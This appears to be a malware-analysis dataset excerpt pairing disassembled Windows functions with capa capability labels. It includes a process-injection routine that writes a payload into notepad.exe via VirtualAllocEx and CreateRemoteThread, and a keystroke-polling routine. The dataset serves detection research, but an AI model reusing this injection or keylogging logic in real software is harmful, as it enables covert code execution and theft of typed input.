joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14011d294
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14011d2de
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14011d2de
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14011d2de
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14011d2de
cmp dword [rcx + 0x84], 0xe
jbe 0x14011d2de
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x14011d2e0
xor al, al
add rsp, 0x28
ret

Function at 0x140001000
Capabilities:
Accept command line arguments
Query environment variable

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x70
lea rcx, str._JAVA_LAUNCHER_DEBUG
call qword [sym.imp.MSVCR100.dll_getenv]
test rax, rax
je 0x140001066
lea rcx, str.Windows_original_main_args:_n
call qword [sym.imp.MSVCR100.dll_printf]
mov rax, qword [sym.imp.MSVCR100.dll___argc]
xor ebx, ebx
cmp dword [rax], ebx
jle 0x140001066
xor edi, edi
mov rax, qword [sym.imp.MSVCR100.dll___argv]
lea rcx, str.wwwd_args__d____s_n
mov edx, ebx
mov r8, qword [rax]
mov r8, qword [r8 + rdi]
call qword [sym.imp.MSVCR100.dll_printf]
mov rax, qword [sym.imp.MSVCR100.dll___argc]
inc ebx
add rdi, 8
cmp ebx, dword [rax]
jl 0x140001038
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov rcx, rax
call sub.jli.dll_JLI_CmdToArgs
call sub.jli.dll_JLI_GetStdArgc
movsxd rdi, eax
lea ecx, [rdi + 1]
movsxd rcx, ecx
shl rcx, 3
call sub.jli.dll_JLI_MemAlloc
mov rbx, rax
call sub.jli.dll_JLI_GetStdArgs
xor r9d, r9d
xor edx, edx
test edi, edi
jle 0x1400010b2
mov r9d, edi
mov rcx, qword [rax]
add rax, 0x10
mov qword [rbx + rdx*8], rcx
inc rdx
cmp rdx, rdi
jl 0x14000109f
mov rcx, qword [str.java]
movsxd rax, r9d
and qword [rbx + rax*8], 0
test rcx, rcx
jne 0x1400010c9
mov rcx, qword [rbx]
mov rax, qword [str.java]
test rax, rax
jne 0x1400010d8
mov rax, qword [rbx]
and dword [rsp + 0x68], 0
mov byte [rsp + 0x60], 0
mov byte [rsp + 0x58], 0
mov byte [rsp + 0x50], 1
mov qword [rsp + 0x48], rcx
mov qword [rsp + 0x40], rax
lea rax, [0x140002250]
mov r8d, 2
lea r9, str._J_ms8m
mov qword [rsp + 0x38], rax
lea rax, [0x140002240]
mov rdx, rbx
mov qword [rsp + 0x30], rax
lea rax, str._lib_tools.jar
mov ecx, edi
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], r8d
call sub.jli.dll_JLI_Launch
mov rbx, qword [rsp + 0x80]
add rsp, 0x70
pop rdi
ret
Function at 0x14017b334
Capabilities:
Set console window title

Disassembly:
jmp 0x14019be70
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x128
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0x12
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x148]
mov rax, qword [0x1408e6f40]
xor rax, rbp
mov qword [rbp + 0xf8], rax
lea rcx, [0x14091a00c]
call fcn.140183b47
mov rax, qword [rbp + 0x120]
mov rcx, rax
call fcn.140180203
call qword [sym.imp.KERNEL32.dll_AllocConsole]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov ecx, eax
call qword [sym.imp.KERNEL32.dll_AttachConsole]
mov rcx, qword [rbp + 0x128]
call fcn.140183435
movzx eax, al
test eax, eax
jne 0x14019bf09
mov rcx, qword [rbp + 0x128]
call fcn.140181211
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetConsoleTitleW]
xor ecx, ecx
call fcn.140184614
mov r9, rax
lea r8, [0x140494f34]
lea rdx, [0x140494f38]
lea rcx, [rbp + 8]
call fcn.1401810a9
mov ecx, 1
call fcn.140184614
mov r9, rax
lea r8, [0x140494f40]
lea rdx, str.conout_
lea rcx, [rbp + 0x28]
call fcn.1401810a9
mov ecx, 2
call fcn.140184614
mov r9, rax
lea r8, [0x140494f40]
lea rdx, str.conout_
lea rcx, [rbp + 0x28]
call fcn.1401810a9
mov rax, qword [rbp + 0x120]
mov rdi, rax
lea rcx, [rbp - 0x20]
lea rdx, [0x140493cb0]
call fcn.1401822b0
mov rax, rdi
mov rcx, qword [rbp + 0xf8]
xor rcx, rbp
call fcn.14017f2c7
lea rsp, [rbp + 0x108]
pop rdi
pop rbp
ret
Function at 0x14017c121
Capabilities:
Allocate or change rwx memory
Create thread
Inject thread
Spawn thread to rwx shellcode

Disassembly:
jmp 0x1402ecef0
push rbp
push rdi
sub rsp, 0x1a8
lea rbp, [rsp + 0x40]
lea rcx, [0x14091a5cb]
call fcn.140183b47
lea rax, str.notepad.exe
mov qword [rbp + 8], rax
mov rcx, qword [rbp + 8]
call fcn.14017dc42
mov dword [rbp + 0x24], eax
cmp dword [rbp + 0x24], 0
jne 0x1402ecf32
mov eax, 1
jmp 0x1402ed092
mov r8d, dword [rbp + 0x24]
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [rbp + 0x48], rax
cmp qword [rbp + 0x48], 0
jne 0x1402ecf58
mov eax, 1
jmp 0x1402ed092
mov dword [rsp + 0x20], 0x40
mov r9d, 0x1000
mov r8d, 0x2d87d5
xor edx, edx
mov rcx, qword [rbp + 0x48]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rbp + 0x68], rax
cmp qword [rbp + 0x68], 0
jne 0x1402ecf97
mov rcx, qword [rbp + 0x48]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
jmp 0x1402ed092
mov qword [rsp + 0x20], 0
mov r9d, 0x2d87d5
lea r8, [0x14057cb20]
mov rdx, qword [rbp + 0x68]
mov rcx, qword [rbp + 0x48]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x1402ecfea
mov r9d, 0x8000
xor r8d, r8d
mov rdx, qword [rbp + 0x68]
mov rcx, qword [rbp + 0x48]
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov rcx, qword [rbp + 0x48]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
jmp 0x1402ed092
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9, qword [rbp + 0x68]
xor r8d, r8d
xor edx, edx
mov rcx, qword [rbp + 0x48]
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov qword [rbp + 0x88], rax
cmp qword [rbp + 0x88], 0
jne 0x1402ed050
mov r9d, 0x8000
xor r8d, r8d
mov rdx, qword [rbp + 0x68]
mov rcx, qword [rbp + 0x48]
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov rcx, qword [rbp + 0x48]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
jmp 0x1402ed092
mov edx, 0xffffffff
mov rcx, qword [rbp + 0x88]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rbp + 0x88]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r9d, 0x8000
xor r8d, r8d
mov rdx, qword [rbp + 0x68]
mov rcx, qword [rbp + 0x48]
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov rcx, qword [rbp + 0x48]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
lea rsp, [rbp + 0x168]
pop rdi
pop rbp
ret

Function at 0x14017c7ed
Capabilities:
Hash data using fnv

Disassembly:
jmp 0x1402e6c50
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x108
lea rbp, [rsp + 0x20]
lea rcx, [0x14091a5c0]
call fcn.140183b47
mov qword [rbp + 8], 0
jmp 0x1402e6c8e
mov rax, qword [rbp + 8]
inc rax
mov qword [rbp + 8], rax
mov rax, qword [rbp + 0x110]
cmp qword [rbp + 8], rax
jae 0x1402e6ce4
mov rax, qword [rbp + 8]
mov rcx, qword [rbp + 0x108]
add rcx, rax
mov rax, rcx
movzx eax, byte [rax]
mov rcx, qword [rbp + 0x100]
xor rcx, rax
mov rax, rcx
mov qword [rbp + 0x100], rax
movabs rax, 0x100000001b3
mov rcx, qword [rbp + 0x100]
imul rcx, rax
mov rax, rcx
mov qword [rbp + 0x100], rax
jmp 0x1402e6c83
mov rax, qword [rbp + 0x100]
lea rsp, [rbp + 0xe8]
pop rdi
pop rbp
ret
Function at 0x14017cb5d
Capabilities:
Get common file path

Disassembly:
jmp 0x1401bb310
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x3c8
lea rbp, [rsp + 0x30]
lea rdi, [rsp + 0x30]
mov ecx, 0x86
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x3e8]
mov rax, qword [0x1408e6f40]
xor rax, rbp
mov qword [rbp + 0x380], rax
lea rcx, [0x14091a04d]
call fcn.140183b47
lea r9, [rbp + 8]
xor r8d, r8d
xor edx, edx
lea rcx, [0x14050bdf0]
call fcn.14017e980
test eax, eax
jl 0x1401bb3aa
mov rax, qword [rbp + 0x3b0]
lea rdx, [rbp + 8]
mov rcx, rax
call fcn.1401835d9
mov rax, qword [rbp + 0x3b0]
mov rdx, qword [rbp + 0x3b8]
mov rcx, rax
call fcn.14018159a
mov rcx, qword [rbp + 8]
call qword [sym.imp.ole32.dll_CoTaskMemFree]
mov rax, qword [rbp + 0x3b0]
mov rcx, rax
call fcn.14017bad2
movzx eax, al
test eax, eax
je 0x1401bb4f1
lea rax, [rbp + 0x1a4]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
movzx eax, byte [rbp + 0x1a4]
mov byte [rbp + 0x2c4], al
movzx eax, byte [rbp + 0x2c4]
mov byte [rbp + 0x304], al
movzx eax, byte [rbp + 0x304]
mov byte [rbp + 0x344], al
mov rax, qword [rbp + 0x3b0]
add rax, 0x28
mov rdx, rax
lea rcx, [rbp + 0x1c8]
call fcn.14017f0ec
mov rax, qword [rax]
mov qword [rbp + 0x2a8], rax
mov rax, qword [rbp + 0x2a8]
mov qword [rbp + 0x2e8], rax
mov rax, qword [rbp + 0x2e8]
mov qword [rbp + 0x328], rax
lea rax, [rbp + 0x1e8]
mov qword [rbp + 0x218], rax
mov rdi, qword [rbp + 0x218]
xor eax, eax
mov ecx, 0x10
rep stosb byte [rdi], al
mov rcx, qword [rbp + 0x218]
call fcn.14017b07d
mov qword [rbp + 0x358], rax
mov rax, qword [rbp + 0x358]
mov qword [rbp + 0x360], rax
mov rax, qword [rbp + 0x360]
mov qword [rbp + 0x368], rax
lea rax, [rbp + 0x238]
mov qword [rbp + 0x268], rax
mov rax, qword [rbp + 0x3b0]
mov rdx, rax
mov rcx, qword [rbp + 0x268]
call fcn.140183b01
mov qword [rbp + 0x370], rax
mov rax, qword [rbp + 0x370]
mov qword [rbp + 0x378], rax
movzx eax, byte [rbp + 0x344]
mov byte [rsp + 0x20], al
mov r9, qword [rbp + 0x328]
mov r8, qword [rbp + 0x368]
mov rdx, qword [rbp + 0x378]
lea rcx, [rbp + 0x288]
call fcn.1401a9720
nop
mov rcx, qword [rbp + 0x3b8]
call fcn.14017c98c
lea rcx, [rbp - 0x30]
lea rdx, [0x1404963d0]
call fcn.1401822b0
mov rcx, qword [rbp + 0x380]
xor rcx, rbp
call fcn.14017f2c7
lea rsp, [rbp + 0x398]
pop rdi
pop rbp
ret
Function at 0x14017cee1
Capabilities:
Log keystrokes via polling

Disassembly:
jmp 0x1401a1430
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x108
lea rbp, [rsp + 0x20]
lea rcx, [0x14091a01a]
call fcn.140183b47
mov rax, qword [rbp + 0x100]
cmp dword [rax + 8], 0
jne 0x1401a146b
mov rax, qword [rbp + 0x100]
movzx eax, byte [rax]
jmp 0x1401a157a
mov rax, qword [rbp + 0x100]
mov eax, dword [rax + 4]
mov dword [rbp + 0xd4], eax
cmp dword [rbp + 0xd4], 0
je 0x1401a149b
cmp dword [rbp + 0xd4], 1
je 0x1401a14aa
cmp dword [rbp + 0xd4], 2
je 0x1401a14e9
jmp 0x1401a1570
mov rax, qword [rbp + 0x100]
mov byte [rax], 1
jmp 0x1401a1570
mov rax, qword [rbp + 0x100]
mov ecx, dword [rax + 8]
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
cwde
and eax, 0x8000
test eax, eax
je 0x1401a14cd
mov byte [rbp + 0xd4], 1
jmp 0x1401a14d4
mov byte [rbp + 0xd4], 0
mov rax, qword [rbp + 0x100]
movzx ecx, byte [rbp + 0xd4]
mov byte [rax], cl
jmp 0x1401a1570
mov rax, qword [rbp + 0x100]
mov ecx, dword [rax + 8]
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
mov word [rbp + 4], ax
movsx eax, word [rbp + 4]
and eax, 0x8000
test eax, eax
je 0x1401a1515
mov rax, qword [rbp + 0x100]
mov byte [rax + 1], 1
mov rax, qword [rbp + 0x100]
movzx eax, byte [rax + 1]
test eax, eax
je 0x1401a1570
movsx eax, word [rbp + 4]
and eax, 0x8000
test eax, eax
jne 0x1401a1570
mov rax, qword [rbp + 0x100]
movzx eax, byte [rax]
test eax, eax
jne 0x1401a154b
mov dword [rbp + 0xd4], 1
jmp 0x1401a1555
mov dword [rbp + 0xd4], 0
mov rax, qword [rbp + 0x100]
movzx ecx, byte [rbp + 0xd4]
mov byte [rax], cl
mov rax, qword [rbp + 0x100]
mov byte [rax + 1], 0
mov rax, qword [rbp + 0x100]
movzx eax, byte [rax]
lea rsp, [rbp + 0xe8]
pop rdi
pop rbp
ret

Function at 0x14017d2a1
Capabilities:
Generate random numbers using a mersenne twister

Disassembly:
jmp 0x14019d720
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x108
lea rbp, [rsp + 0x20]
lea rcx, [0x14091a018]
call fcn.140183b47
mov rax, qword [rbp + 0x100]
cmp dword [rax], 0x138
jne 0x14019d75c
mov rcx, qword [rbp + 0x100]
call fcn.14017c856
jmp 0x14019d777
mov rax, qword [rbp + 0x100]
cmp dword [rax], 0x270
jb 0x14019d777
mov rcx, qword [rbp + 0x100]
call fcn.14017f574
mov rax, qword [rbp + 0x100]
mov eax, dword [rax]
mov rcx, qword [rbp + 0x100]
mov rax, qword [rcx + rax*8 + 8]
mov qword [rbp + 0xd8], rax
mov rax, qword [rbp + 0x100]
mov eax, dword [rax]
inc eax
mov rcx, qword [rbp + 0x100]
mov dword [rcx], eax
mov rax, qword [rbp + 0xd8]
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
shr rax, 0x1d
mov rcx, qword [rbp + 0x100]
and rax, qword [rcx + 0x1388]
mov rcx, qword [rbp + 8]
xor rcx, rax
mov rax, rcx
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
shl rax, 0x11
movabs rcx, 0x71d67fffeda60000
and rax, rcx
mov rcx, qword [rbp + 8]
xor rcx, rax
mov rax, rcx
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
shl rax, 0x25
movabs rcx, 0xfff7eee000000000
and rax, rcx
mov rcx, qword [rbp + 8]
xor rcx, rax
mov rax, rcx
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
shr rax, 0x2b
mov rcx, qword [rbp + 8]
xor rcx, rax
mov rax, rcx
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
lea rsp, [rbp + 0xe8]
pop rdi
pop rbp
ret
Function at 0x14017dc42
Capabilities:
Enumerate processes

Disassembly:
jmp 0x1402e9f90
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x428
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0xa2
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x448]
mov rax, qword [0x1408e6f40]
xor rax, rbp
mov qword [rbp + 0x3f8], rax
lea rcx, [0x14091a5cb]
call fcn.140183b47
xor edx, edx
mov ecx, 2
call fcn.14017f1a5
mov qword [rbp + 8], rax
cmp qword [rbp + 8], 0xffffffffffffffff
je 0x1402ea03c
mov dword [rbp + 0x30], 0x238
lea rdx, [rbp + 0x30]
mov rcx, qword [rbp + 8]
call fcn.14018039d
test eax, eax
je 0x1402ea03c
mov rdx, qword [rbp + 0x420]
lea rcx, [rbp + 0x5c]
call fcn.14017f3bc
test eax, eax
jne 0x1402ea02b
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [rbp + 0x38]
jmp 0x1402ea048
lea rdx, [rbp + 0x30]
mov rcx, qword [rbp + 8]
call fcn.140182675
test eax, eax
jne 0x1402ea008
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
mov rdi, rax
lea rcx, [rbp - 0x20]
lea rdx, [0x140508090]
call fcn.1401822b0
mov rax, rdi
mov rcx, qword [rbp + 0x3f8]
xor rcx, rbp
call fcn.14017f2c7
lea rsp, [rbp + 0x408]
pop rdi
pop rbp
ret

Function at 0x14017ee4e
Capabilities:
Encode data using xor

Disassembly:
jmp 0x1403ddc00
mov rax, rcx
neg rcx
test rax, 7
je 0x1403ddc1d
nop
mov dl, byte [rax]
inc rax
test dl, dl
je 0x1403ddc78
test al, 7
jne 0x1403ddc10
movabs r8, 0x7efefefefefefeff
movabs r11, 0x8101010101010100
mov rdx, qword [rax]
mov r9, r8
add rax, 8
add r9, rdx
not rdx
xor rdx, r9
and rdx, r11
je 0x1403ddc31
mov rdx, qword [rax - 8]
test dl, dl
je 0x1403ddca2
test dh, dh
je 0x1403ddc9c
shr rdx, 0x10
test dl, dl
je 0x1403ddc96
test dh, dh
je 0x1403ddc90
shr rdx, 0x10
test dl, dl
je 0x1403ddc8a
test dh, dh
je 0x1403ddc84
shr edx, 0x10
test dl, dl
je 0x1403ddc7e
test dh, dh
jne 0x1403ddc31
lea rax, [rax + rcx - 1]
ret
lea rax, [rax + rcx - 2]
ret
lea rax, [rax + rcx - 3]
ret
lea rax, [rax + rcx - 4]
ret
lea rax, [rax + rcx - 5]
ret
lea rax, [rax + rcx - 6]
ret
lea rax, [rax + rcx - 7]
ret
lea rax, [rax + rcx - 8]
ret
Function at 0x14017eead
Capabilities:
Query environment variable

Disassembly:
jmp 0x14045e830
sub rsp, 0x78
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov rdx, rax
lea rcx, [rsp + 0x20]
call fcn.14045e3b0
lea rcx, [rsp + 0x20]
call fcn.14045e400
movzx eax, al
test eax, eax
jne 0x14045e875
mov qword [rsp + 0x40], 0
lea rcx, [rsp + 0x20]
call fcn.14045e3e0
mov rax, qword [rsp + 0x40]
jmp 0x14045e96f
lea rcx, [rsp + 0x20]
call fcn.14045e500
mov qword [rsp + 0x30], rax
mov rcx, qword [rsp + 0x30]
call fcn.14045e4a0
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x30]
mov rcx, qword [rsp + 0x48]
sub rcx, rax
mov rax, rcx
sar rax, 1
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x38]
shl rax, 1
mov r9d, 0x40
lea r8, str.minkernelcrtsucrt_srcdesktopcrtenvget_environment_from_os.cpp
mov edx, 2
mov rcx, rax
call fcn.14017f448
mov rdx, rax
lea rcx, [rsp + 0x28]
call fcn.14017e395
lea rcx, [rsp + 0x28]
call fcn.14017fc9f
movzx eax, al
test eax, eax
jne 0x14045e90f
mov qword [rsp + 0x50], 0
lea rcx, [rsp + 0x28]
call fcn.140181efa
lea rcx, [rsp + 0x20]
call fcn.14045e3e0
mov rax, qword [rsp + 0x50]
jmp 0x14045e96f
lea rcx, [rsp + 0x20]
call fcn.14045e500
mov qword [rsp + 0x58], rax
lea rcx, [rsp + 0x28]
call fcn.1401839bc
mov qword [rsp + 0x60], rax
mov rax, qword [rsp + 0x38]
shl rax, 1
mov r8, rax
mov rdx, qword [rsp + 0x58]
mov rcx, qword [rsp + 0x60]
call fcn.14017f303
lea rcx, [rsp + 0x28]
call fcn.14018495c
mov qword [rsp + 0x68], rax
lea rcx, [rsp + 0x28]
call fcn.140181efa
lea rcx, [rsp + 0x20]
call fcn.14045e3e0
mov rax, qword [rsp + 0x68]
add rsp, 0x78
ret
Function at 0x14017f574
Capabilities:
Generate random numbers using a mersenne twister

Disassembly:
jmp 0x14019f140
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x1e8
lea rbp, [rsp + 0x20]
lea rcx, [0x14091a018]
call fcn.140183b47
mov qword [rbp + 8], 0x137
mov qword [rbp + 0x28], 0x9c
mov qword [rbp + 0x48], 0
jmp 0x14019f184
mov rax, qword [rbp + 0x48]
inc rax
mov qword [rbp + 0x48], rax
cmp qword [rbp + 0x48], 0x9c
jae 0x14019f22d
mov rax, qword [rbp + 0x1e0]
mov rcx, qword [rbp + 0x48]
mov rax, qword [rax + rcx*8 + 0x9c8]
and rax, 0xffffffff80000000
mov rcx, qword [rbp + 0x1e0]
mov rdx, qword [rbp + 0x48]
mov rcx, qword [rcx + rdx*8 + 0x9d0]
and rcx, 0x7fffffff
or rax, rcx
mov qword [rbp + 0x68], rax
mov rax, qword [rbp + 0x68]
and rax, 1
test rax, rax
je 0x14019f1ec
movabs rax, 0xb5026f5aa96619e9
mov qword [rbp + 0x1b8], rax
jmp 0x14019f1f7
mov qword [rbp + 0x1b8], 0
mov rax, qword [rbp + 0x68]
shr rax, 1
xor rax, qword [rbp + 0x1b8]
mov rcx, qword [rbp + 0x1e0]
mov rdx, qword [rbp + 0x48]
xor rax, qword [rcx + rdx*8 + 0xea8]
mov rcx, qword [rbp + 0x1e0]
mov rdx, qword [rbp + 0x48]
mov qword [rcx + rdx*8 + 8], rax
jmp 0x14019f179
mov qword [rbp + 0x88], 0x9c
jmp 0x14019f24b
mov rax, qword [rbp + 0x88]
inc rax
mov qword [rbp + 0x88], rax
cmp qword [rbp + 0x88], 0x137
jae 0x14019f30c
mov rax, qword [rbp + 0x1e0]
mov rcx, qword [rbp + 0x88]
mov rax, qword [rax + rcx*8 + 0x9c8]
and rax, 0xffffffff80000000
mov rcx, qword [rbp + 0x1e0]
mov rdx, qword [rbp + 0x88]
mov rcx, qword [rcx + rdx*8 + 0x9d0]
and rcx, 0x7fffffff
or rax, rcx
mov qword [rbp + 0xa8], rax
mov rax, qword [rbp + 0xa8]
and rax, 1
test rax, rax
je 0x14019f2c2
movabs rax, 0xb5026f5aa96619e9
mov qword [rbp + 0x1b8], rax
jmp 0x14019f2cd
mov qword [rbp + 0x1b8], 0
mov rax, qword [rbp + 0xa8]
shr rax, 1
xor rax, qword [rbp + 0x1b8]
mov rcx, qword [rbp + 0x1e0]
mov rdx, qword [rbp + 0x88]
xor rax, qword [rcx + rdx*8 - 0x4d8]
mov rcx, qword [rbp + 0x1e0]
mov rdx, qword [rbp + 0x88]
mov qword [rcx + rdx*8 + 8], rax
jmp 0x14019f23a
mov qword [rbp + 0xc8], 0x137
mov eax, 8
imul rax, rax, 0x26f
mov rcx, qword [rbp + 0x1e0]
mov rax, qword [rcx + rax + 8]
and rax, 0xffffffff80000000
mov ecx, 8
imul rcx, rcx, 0
mov rdx, qword [rbp + 0x1e0]
mov rcx, qword [rdx + rcx + 8]
and rcx, 0x7fffffff
or rax, rcx
mov qword [rbp + 0xe8], rax
mov rax, qword [rbp + 0xe8]
and rax, 1
test rax, rax
je 0x14019f37e
movabs rax, 0xb5026f5aa96619e9
mov qword [rbp + 0x1b8], rax
jmp 0x14019f389
mov qword [rbp + 0x1b8], 0
mov rax, qword [rbp + 0xe8]
shr rax, 1
xor rax, qword [rbp + 0x1b8]
mov ecx, 8
imul rcx, rcx, 0x9b
mov rdx, qword [rbp + 0x1e0]
xor rax, qword [rdx + rcx + 8]
mov ecx, 8
imul rcx, rcx, 0x137
mov rdx, qword [rbp + 0x1e0]
mov qword [rdx + rcx + 8], rax
mov rax, qword [rbp + 0x1e0]
mov dword [rax], 0
lea rsp, [rbp + 0x1c8]
pop rdi
pop rbp
ret
Function at 0x14017f6ff
Capabilities:
Get thread local storage value

Disassembly:
jmp 0x14037c5c0
mov dword [rsp + 8], ecx
sub rsp, 0x48
call fcn.14037bf40
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
je 0x14037c5ff
mov rax, qword [rsp + 0x20]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
mov qword [rsp + 0x30], rax
mov ecx, dword [rsp + 0x50]
mov rax, qword [rsp + 0x30]
call qword [0x14091c020]
jmp 0x14037c609
mov ecx, dword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
add rsp, 0x48
ret
Function at 0x14017fb2d
Capabilities:
Query environment variable

Disassembly:
jmp 0x14045e580
sub rsp, 0xb8
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov rdx, rax
lea rcx, [rsp + 0x40]
call fcn.14045e3b0
lea rcx, [rsp + 0x40]
call fcn.14045e530
movzx eax, al
test eax, eax
jne 0x14045e5c8
mov qword [rsp + 0x70], 0
lea rcx, [rsp + 0x40]
call fcn.14045e3e0
mov rax, qword [rsp + 0x70]
jmp 0x14045e799
lea rcx, [rsp + 0x40]
call fcn.14045e500
mov qword [rsp + 0x60], rax
mov rcx, qword [rsp + 0x60]
call fcn.14045e4a0
mov qword [rsp + 0x78], rax
mov rax, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x78]
sub rcx, rax
mov rax, rcx
sar rax, 1
mov qword [rsp + 0x68], rax
lea rcx, [rsp + 0x40]
call fcn.14045e500
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9d, dword [rsp + 0x68]
mov r8, rax
xor edx, edx
xor ecx, ecx
call fcn.1401818c4
cdqe
mov qword [rsp + 0x58], rax
cmp qword [rsp + 0x58], 0
jne 0x14045e66e
mov qword [rsp + 0x80], 0
lea rcx, [rsp + 0x40]
call fcn.14045e3e0
mov rax, qword [rsp + 0x80]
jmp 0x14045e799
mov r9d, 0x66
lea r8, str.minkernelcrtsucrt_srcdesktopcrtenvget_environment_from_os.cpp
mov edx, 2
mov rcx, qword [rsp + 0x58]
call fcn.14017f448
mov rdx, rax
lea rcx, [rsp + 0x48]
call fcn.14017f0c9
lea rcx, [rsp + 0x48]
call fcn.14017e6fb
movzx eax, al
test eax, eax
jne 0x14045e6d5
mov qword [rsp + 0x88], 0
lea rcx, [rsp + 0x48]
call fcn.14017c581
lea rcx, [rsp + 0x40]
call fcn.14045e3e0
mov rax, qword [rsp + 0x88]
jmp 0x14045e799
lea rcx, [rsp + 0x48]
call fcn.140180375
mov qword [rsp + 0x90], rax
lea rcx, [rsp + 0x40]
call fcn.14045e500
mov qword [rsp + 0x98], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov eax, dword [rsp + 0x58]
mov dword [rsp + 0x28], eax
mov rax, qword [rsp + 0x90]
mov qword [rsp + 0x20], rax
mov r9d, dword [rsp + 0x68]
mov r8, qword [rsp + 0x98]
xor edx, edx
xor ecx, ecx
call fcn.1401818c4
mov dword [rsp + 0x50], eax
cmp dword [rsp + 0x50], 0
jne 0x14045e76b
mov qword [rsp + 0xa0], 0
lea rcx, [rsp + 0x48]
call fcn.14017c581
lea rcx, [rsp + 0x40]
call fcn.14045e3e0
mov rax, qword [rsp + 0xa0]
jmp 0x14045e799
lea rcx, [rsp + 0x48]
call fcn.14017f060
mov qword [rsp + 0xa8], rax
lea rcx, [rsp + 0x48]
call fcn.14017c581
lea rcx, [rsp + 0x40]
call fcn.14045e3e0
mov rax, qword [rsp + 0xa8]
add rsp, 0xb8
ret

Function at 0x14017fb5a
Capabilities:
Allocate thread local storage

Disassembly:
jmp 0x14037c4f0
mov qword [rsp + 8], rcx
sub rsp, 0x48
call fcn.14037bec0
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
je 0x14037c531
mov rax, qword [rsp + 0x20]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
mov qword [rsp + 0x30], rax
mov rcx, qword [rsp + 0x50]
mov rax, qword [rsp + 0x30]
call qword [0x14091c020]
jmp 0x14037c537
call qword [sym.imp.KERNEL32.dll_TlsAlloc]
add rsp, 0x48
ret
Function at 0x14017fca9
Capabilities:
Get geographical location

Disassembly:
jmp 0x140434f70
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x18], r8
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
sub rsp, 0x58
call fcn.140433ea0
mov qword [rsp + 0x30], rax
cmp qword [rsp + 0x30], 0
je 0x140434fd7
mov rax, qword [rsp + 0x30]
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x38]
mov qword [rsp + 0x40], rax
movabs r10, 0xe375262d7cd44270
mov r9d, dword [rsp + 0x78]
mov r8, qword [rsp + 0x70]
mov edx, dword [rsp + 0x68]
mov rcx, qword [rsp + 0x60]
mov rax, qword [rsp + 0x40]
call qword [0x14091c030]
jmp 0x140434ff9
xor edx, edx
mov rcx, qword [rsp + 0x60]
call fcn.14017e615
mov r9d, dword [rsp + 0x78]
